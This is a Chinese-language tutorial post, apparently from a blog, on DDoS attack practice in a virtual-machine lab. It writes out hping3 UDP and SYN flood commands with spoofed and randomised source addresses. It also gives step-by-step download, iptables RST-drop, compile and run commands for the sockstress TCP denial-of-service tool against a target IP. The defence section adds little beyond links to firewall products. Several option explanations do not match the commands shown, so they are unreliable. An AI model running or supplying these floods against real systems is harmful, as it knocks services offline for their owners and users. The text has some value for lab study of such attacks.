41-4 DDOS攻擊防護實戰

一、UDP FLOOD攻擊

# hping3 -q -n -a <攻擊IP> -S -s <源端口> --keep -p <目的端口> --flood <被攻擊IP>
hping3 --udp -s 6666 -p 53 -a 192.168.1.6 --flood 192.168.1.13

這個命令是使用hping3工具進行UDP Flood攻擊的命令。下面是各個選項的作用:

  • -q: 靜默模式,不顯示任何輸出。
  • -n: 不解析主機名,直接使用IP地址。
  • -a <攻擊IP>: 設置源IP地址,即攻擊者的IP地址。
  • -S: 使用SYN標志位進行TCP連接。
  • -s <源端口>: 設置源端口號,即攻擊者的端口號。
  • --keep: 在攻擊過程中保持連接。
  • -p <目的端口>: 設置目標端口號,即被攻擊者的端口號。
  • --flood <被攻擊IP>: 發送大量的數據包進行洪水式攻擊。

演示:

hping3工具kali上有,所以要開啟kali虛擬機作為攻擊機,然后在開一臺windows系統虛擬機作為被攻擊機(windows系統查看cpu比較方便,沒有windows系統虛擬機的開linux也可以)

1)查看虛擬機ip
# windows
ipconfig# linux
ifconfig

2)然后確保兩臺虛擬機之間可以ping通
# windows
ping 目標ip# linux(-c 4 意思是只發送4個測試包,不指定linux系統是會不斷的發送)
ping -c 4 目標ip

3)使用kail對windows系統發動?UDP FLOOD 攻擊

注意:命令中的ip要改成自己的

# 192.168.1.45 是 windows 的ip,53 也是windows系統默認開放的端口
hping3 --udp -s 6666 -p 53 -a 192.168.1.3 --flood 192.168.1.45# 或者
hping3 -c 100000 -d 65038 -S -w 64 -p 53 --flood --rand-source 192.168.1.45-c 100000:表示發送100000個TCP SYN數據包,即向目標主機發送大量連接請求。
-d 65038:指定TCP數據包的數據負載為65038字節。這里使用了最大值,以增加攻擊流量的大小。
-S:設置TCP SYN標志位,表示向目標主機發起連接請求。
-w 64:指定TCP窗口大小為64,即每發一個數據包之后要等待64個ACK確認信號再繼續發送數據包。這樣可以使攻擊流量更加真實,模擬正常的TCP連接。
-p 21:指定目標端口號為21,即攻擊目標的FTP服務端口號。
--flood:表示進行洪水攻擊,即不斷發送大量的攻擊流量。
--rand-source:表示隨機選擇源IP地址,并且在每次發送數據包時都更換一次源IP地址。
192.168.1.45:指定目標IP地址為192.168.1.45,即攻擊的目標。

?這里很奇怪,我攻擊虛擬機沒反應但是我攻擊真實機就可以

如果你沒安裝抓包工具,也可以使用命令行查看

netstat -ano

該命令將顯示系統上當前活動的網絡連接和監聽的端口號。列出的結果中,Local Address一列顯示的是本地IP地址和端口號。?

?

二、sockstress 攻擊

sOCKSTRESS是一種DDoS攻擊工具,它利用TCP連接中的漏洞來占用目標系統的資源,使其無法正常響應請求。以下是使用sOCKSTRESS進行攻擊的步驟:

1)下載sockstress腳本:GitHub - defuse/sockstress: Sockstress (TCP DoS) implementation.

2)設置防火墻規則,過濾發送給server的REST包,防止server斷開連接。
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻擊主機IP -j DROP
iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 192.168.1.45 -j DROP

kali攻擊機中設置

3)編譯sockstress.c文件
# 進入到工具文件中
cd sockstressgcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o

4)運行sockstress腳本,指定目標系統的IP地址和網絡接口名稱。
./sockstress 192.168.1.45:80 eth0

5)可以選擇使用-p選項指定負載類型,比如使用http負載。
./sockstress 192.168.1.45:80 eth0 -p payloads/http

防御

1、冰盾:冰盾DDoS防火墻 - 18年專注DDoS防護 防CC攻擊 防SYN攻擊 防流量攻擊 拒絕服務 DDoS防護 冰盾 免費防火墻 (bingdun.com)

?安裝沒啥好說的一路下一步就好,最后重啟系統就能使用了,不過試用版全功能防護2小時,僅適用于32位的Win2003操作系統,因為我之前攻擊Win2003虛擬機也沒有成功所以這里沒法做攻擊演示他的防護,不過這種正版軟件防護能力肯定是沒問題的,不然他們也沒法賺錢。

2)安全狗(推薦,因為這個是免費的,當然企業版也是收費的)

網頁安全狗下載:網站安全狗-網站安全防護,防后門|防SQL注入|防CC攻擊|網馬查殺|防篡改 (safedog.cn)

服務器安全狗:鏈接:https://pan.baidu.com/s/1LsT0AwVP5DKO7-WJ3zHo0Q?pwd=jwx3?
提取碼:jwx3

安裝?

安裝完成后他會自動對你的apache展開防護

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/14105.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/14105.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/14105.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

three.js能實現啥效果?看過來,這里都是它的菜(06)

這是第五期了&#xff0c;本期繼續分享three.js可以實現的3D動畫案例&#xff0c;有老鐵反饋再發案例的時候&#xff0c;是否可以順道分享一下three.js的知識點&#xff0c;好吧&#xff0c;安排。 材質動畫 材質動畫可以實現各種復雜的視覺效果&#xff0c;包括但不限于以下…

【css】引入背景圖時候,路徑寫入@會報錯

看報錯信息 我的寫法 解決辦法 在前面加個~

js解決數字小數計算出現的精度丟失問題(2024-05-24)

精度丟失的原因 js小數進行數值運算時出現精度丟失問題 JavaScript 的number類型在進行運算時都先將十進制轉二進制&#xff0c;此時&#xff0c;小數點后面的數字轉二進制時會出現無限循環的問題。 為了避免這一個情況&#xff0c;要舍0進1&#xff0c;此時就會導致精度丟失…

企業寬帶跑pcdn會被查嗎?

企業寬帶使用PCDN技術&#xff0c;本身并不違反相關規定&#xff0c;因此一般不會被查。PCDN是一種內容分發網絡技術&#xff0c;通過將內容緩存在離用戶更近的服務器上&#xff0c;減少數據傳輸的延遲&#xff0c;提高訪問速度。這種技術可以提高網頁加載速度和視頻播放流暢度…

Excel未響應時強關后,Excel插件消失

目錄 我們分析一下插件消失的原因&#xff1a; 針對上面表現出來的2個問題&#xff0c;進行針對性的解決 &#xff1a; 1、不被關進去&#xff0c;是不是就沒有后續的一系列的問題了&#xff0c;各自安好 2、保留住自動加載的行為 PS&#xff1a;配置受信任的位置注冊列表…

2024電工杯B題保姆級分析完整思路+代碼+數據教學

2024電工杯B題保姆級分析完整思路代碼數據教學 B題題目&#xff1a;大學生平衡膳食食譜的優化設計及評價 接下來我們將按照題目總體分析-背景分析-各小問分析的形式來 總體分析&#xff1a; 題目要求對兩份一日膳食食譜進行營養分析和調整&#xff0c;然后設計優化的平衡膳…

生成模型 | 從 VAE 到 Diffusion Model (上)

文章目錄 一&#xff0c;GAN(對抗式生成網絡&#xff09;二&#xff0c;Auto-Encoder(AE) 和 Denoising Auto-Encoder (DAE)三&#xff0c;VAE四&#xff0c;VQ-VAE (Vector Quantized Variational Autoencoder)VQ-VAE 2小總結&#xff1a; 五&#xff0c;DALL-E &#xff08;O…

硅谷裸機云服務器性能測評哪些內容

硅谷裸機云服務器&#xff0c;作為云計算領域的一股新興力量&#xff0c;近年來受到了廣泛關注。其強大的性能和靈活性為用戶提供了更高效、更穩定的云計算服務。那么&#xff0c;硅谷裸機云服務器的性能測評究竟包括哪些內容呢?接下來&#xff0c;我們就來科普一下。 首先&am…

如何讓大模型更聰明?

如何讓大模型更聰明&#xff1f; *隨著人工智能技術的飛速發展&#xff0c;大模型在多個領域展現出了前所未有的能力&#xff0c;但它們仍然面臨著理解力、泛化能力和適應性等方面的挑戰。那么&#xff0c;如何讓大模型變得更聰明呢&#xff1f; 方向一&#xff1a;算法創新 …

留學培訓行業PaaS應用系統架構的設計與實踐

隨著留學需求的增長和教育培訓市場的不斷擴大&#xff0c;留學培訓行業正面臨著越來越多的挑戰和機遇。在這個背景下&#xff0c;利用PaaS&#xff08;Platform as a Service&#xff09;平臺來構建留學培訓行業的應用系統架構&#xff0c;將成為提升服務質量和效率的重要手段。…

Nacos 2.x 系列【8】集成 Spring Cloud Gateway

文章目錄 1. 概述1.1 API 網關1.1 Spring Cloud Gateway 2. 集成案例2.1 入門案例2.2 動態路由 1. 概述 1.1 API 網關 API網關已經成為了微服務架構的一個標配組件&#xff0c;是系統對外的唯一入口。所有的客戶端都通過統一的網關接入微服務&#xff0c;在網關層處理所有非業…

部署 harbor 創建私有項目

一在 Docker harbor 節點&#xff08;192.168.11.&#xff09;上操作 1 關閉防火墻防護 systemctl stop firewalld.service systemctl disable firewalld.service setenforce 0 2 安裝docker yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-ma…

SSRF攻擊技術

1、SSRF形成原因 SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下&#xff0c;SSRF是要目標網站的內部系統。&#xff08;因為他是從內部系統訪問的&#xff0c;所有可以通過它攻擊外網無法訪問的內部系…

思科模擬器--03.RIP協議路由--24.5.17

1.首先&#xff0c;先創建兩個個人電腦:PC0和PC1和三個路由器:R1&#xff0c;R2和R3. (訣竅:建議用文本框標注一下重要簡短的內容; 目的:降低失誤概率,提高成功率!) 第0步:(個人電腦的IP,子網掩碼和默認網關配置) 接著&#xff0c;可以先將個人電腦的IP和網關先配置一下…

ThreadLocal原理及使用

一、引言 在Java多線程編程中&#xff0c;ThreadLocal是一個非常有用的工具&#xff0c;它提供了一種將對象與線程關聯起來的機制&#xff0c;使得每個線程都可以擁有自己獨立的對象副本&#xff0c;從而避免了線程安全問題。然而&#xff0c;使用不當會導致內存泄漏問題。 二…

go 微服務框架kratos錯誤處理的使用方法及原理探究

通過go語言原生http中響應錯誤的實現方法&#xff0c;逐步了解和使用微服務框架 kratos 的錯誤處理方式&#xff0c;以及探究其實現原理。 一、go原生http響應錯誤信息的處理方法 處理方法&#xff1a; ①定義返回錯誤信息的結構體 ErrorResponse // 定義http返回錯誤信息的…

無人機飛手前途分析

無人機飛手的前途充滿了各種可能性和挑戰&#xff0c;這主要得益于無人機技術的快速發展和廣泛應用。以下是對無人機飛手前途的一些分析&#xff1a; 1. 技術發展與需求增長&#xff1a;隨著無人機技術的不斷進步&#xff0c;其應用場景也在持續擴大。從地理測繪、巡檢、農林植…

利用阿里OSS服務給文件設置過期刪除--簡單版

在云存儲廣泛應用的今天&#xff0c;阿里云的Object Storage Service&#xff08;OSS&#xff09;以其高度可擴展性、安全性和成本效益&#xff0c;成為了眾多企業和開發者存儲海量數據的首選方案。隨著數據量的不斷膨脹&#xff0c;高效的數據管理和成本控制變得尤為重要。其中…

IT學習筆記--Kafka

Kafka概述: 定義: Kafka是一個分布式的基于發布/訂閱模式的消息隊列&#xff0c;主要應用于大數據實時處理領域。 消息隊列消息隊列的兩種模式: 點對點模式: 消息生產者生產消息發送到Queue中&#xff0c;然后消息消費者從Queue中取出并且消費消息。 消息被消費以后&#…

Linux中解決普通用戶使用不了sudo問題

目錄 sudo的使用場景sudo使用不了的原因解決方法 sudo的使用場景 之前我們介紹了文件的權限問題 如果一個普通用戶想去執行一個它命令之外的權限&#xff0c;只能使用sudo 比如普通用戶使用yum去安裝軟件&#xff0c;需要sudo yum xxxx sudo使用不了的原因 這里我們用普通用戶…